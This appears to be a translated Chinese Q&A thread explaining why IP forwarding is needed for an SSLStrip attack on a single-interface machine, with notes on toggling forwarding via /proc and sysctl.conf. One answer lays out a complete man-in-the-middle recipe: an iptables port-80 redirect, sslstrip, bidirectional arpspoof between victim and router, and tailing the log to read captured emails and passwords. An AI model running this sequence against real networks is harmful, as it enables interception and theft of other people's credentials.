SSL Strip 攻击:与“echo 1 > /proc/sys/net/ipv4/ip_forward”混淆

SSL Strip 攻击:与“echo 1 > /proc/sys/net/ipv4/ip_forward”混淆

SSLStrip攻击中,必须IP forwarding使用以下命令启用:

echo 1 > /proc/sys/net/ipv4/ip_forward

我了解此命令使主机能够充当在两个网络之间转发数据包的路由器。这是我的困惑。当我们只有一个网络接口时,为什么我们可以配置IP转发呢?eth0我的盒子里只有;这应该如何运作?

当我们只有一个接口时转发是否有效?我们不应该有两个吗?

答案1

您很困惑,因为您只考虑您的 NIC(在您的情况下为 eth0)物理连接的网络。但是,您的计算机可以访问更多网络。

在您的计算机上启用 IP 转发会告诉她,当她收到并非发往她的数据包时,向前它到目的地(或者更好的是,下一跳)而不是丢弃它。在这种情况下,您的机器作为网关到那个特定的目的地。

答案2

如果您启用端口转发,我可以将您的计算机 IP(在 eth0 上)配置为我的网关,并向您发送数据包。如果 iptables FORWARD 链接受这些数据包,您将把它们转发到目的地。

答案3

root@kali# echo 1 > /proc/sys/net/ipv4/ip_forward

root@kali# iptables -t nat -A PREROUTING --dport 80 -j REDIRECT --to-port 1000

root@kali# sslstrip -a -l 1000 -k

现在在新的终端中写入

root@kali# arpspoof -i eth0 victimip routerip

并在新的终端中写入

root@kali# arpspoof -i eth0 routerip victimip

另一个终端应该写入以查看实时电子邮件和密码

root@kali# tail -f sslstrip.log

提醒:所有终端不得关闭。

输出数字1表示IP转发已启用。上面的值是从 Linux proc 文件系统中读取的,更准确地说是从实际文件/proc/sys/net/ipv4/ip_forward文件中读取的:

# cat /proc/sys/net/ipv4/ip_forward
1

要在正在运行的 Linux 系统上禁用 IP 转发,请运行:

 # echo 0 > /proc/sys/net/ipv4/ip_forward

上述更改不会在重启后持续存在。要在 Linux 系统上永久禁用 IP 转发,请编辑/etc/sysctl.conf并添加以下行:

net.ipv4.ip_forward = 0

在 Linux 中启用 IP 转发的过程与上面禁用它的过程相同,但我们使用数字 1 来打开 IP 转发。

# echo 1 > /proc/sys/net/ipv4/ip_forward

要使更改永久,请在 edit 中插入或编辑以下行/etc/sysctl.conf

net.ipv4.ip_forward = 1

相关内容